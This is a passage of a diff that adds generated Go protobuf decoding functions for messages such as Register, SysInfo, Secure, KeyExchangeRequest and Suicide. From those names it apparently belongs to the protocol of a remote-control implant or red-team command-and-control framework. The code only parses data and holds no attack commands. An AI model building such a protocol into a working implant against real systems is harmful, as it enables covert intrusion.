postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Metadata[mapkey] = mapvalue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *CommonBody) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: CommonBody: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: CommonBody: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType == 0 { + var v uint32 + v, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + m.U32Array = append(m.U32Array, v) + } else if wireType == 2 { + var packedLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + packedLen = int(_v) + if err != nil { + return err + } + if packedLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + packedLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var elementCount int + var count int + for _, integer := range dAtA[iNdEx:postIndex] { + if integer < 128 { + count++ + } + } + elementCount = count + if elementCount != 0 && len(m.U32Array) == 0 { + m.U32Array = make([]uint32, 0, elementCount) + } + for iNdEx < postIndex { + var v uint32 + v, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + m.U32Array = append(m.U32Array, v) + } + } else { + return fmt.Errorf("proto: wrong wireType = %d for field U32Array", wireType) + } + case 4: + if wireType == 0 { + var v uint64 + v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + m.U64Array = append(m.U64Array, v) + } else if wireType == 2 { + var packedLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + packedLen = int(_v) + if err != nil { + return err + } + if packedLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + packedLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var elementCount int + var count int + for _, integer := range dAtA[iNdEx:postIndex] { + if integer < 128 { + count++ + } + } + elementCount = count + if elementCount != 0 && len(m.U64Array) == 0 { + m.U64Array = make([]uint64, 0, elementCount) + } + for iNdEx < postIndex { + var v uint64 + v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + m.U64Array = append(m.U64Array, v) + } + } else { + return fmt.Errorf("proto: wrong wireType = %d for field U64Array", wireType) + } + case 6: + if wireType == 0 { + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.BoolArray = append(m.BoolArray, bool(v != 0)) + } else if wireType == 2 { + var packedLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + packedLen = int(_v) + if err != nil { + return err + } + if packedLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + packedLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var elementCount int + elementCount = packedLen + if elementCount != 0 && len(m.BoolArray) == 0 { + m.BoolArray = make([]bool, 0, elementCount) + } + for iNdEx < postIndex { + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.BoolArray = append(m.BoolArray, bool(v != 0)) + } + } else { + return fmt.Errorf("proto: wrong wireType = %d for field BoolArray", wireType) + } + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field StringArray", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.StringArray = append(m.StringArray, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 10: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field BytesArray", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.BytesArray = append(m.BytesArray, make([]byte, postIndex-iNdEx)) + copy(m.BytesArray[len(m.BytesArray)-1], dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Ping) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Ping: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Ping: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Nonce", wireType) + } + m.Nonce = 0 + m.Nonce, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Register) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Register: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Register: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Proxy", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Proxy = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Module", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Module = append(m.Module, stringValue) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Addons", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Addons = append(m.Addons, &Addon{}) + if err := m.Addons[len(m.Addons)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Timer", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Timer == nil { + m.Timer = &Timer{} + } + if err := m.Timer.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 11: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Sysinfo", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Sysinfo == nil { + m.Sysinfo = &SysInfo{} + } + if err := m.Sysinfo.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 12: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Secure", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Secure == nil { + m.Secure = &Secure{} + } + if err := m.Secure.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Secure) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Secure: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Secure: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Enable", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Enable = bool(v != 0) + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Key", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Key = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field PublicKey", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.PublicKey = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *KeyExchangeRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: KeyExchangeRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: KeyExchangeRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field PublicKey", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.PublicKey = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Signature", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Signature = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timestamp", wireType) + } + m.Timestamp = 0 + m.Timestamp, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Nonce", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Nonce = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *KeyExchangeResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: KeyExchangeResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: KeyExchangeResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field PublicKey", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.PublicKey = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Init) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Init: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Init: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = dAtA[iNdEx:postIndex] + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *SysInfo) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: SysInfo: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: SysInfo: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Filepath", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Filepath = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Workdir", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Workdir = stringValue + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field IsPrivilege", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.IsPrivilege = bool(v != 0) + case 11: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Os", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Os == nil { + m.Os = &Os{} + } + if err := m.Os.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 12: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Process", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Process == nil { + m.Process = &Process{} + } + if err := m.Process.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Suicide) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Suicide: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Suicide: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + m.Type = 0 + m.Type, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timestamp", wireType) + } + m.Timestamp = 0 + m.Timestamp, iNdEx, err = protobuf_go_lite.DecodeVarintInt64(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Request) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Request: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Request: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + 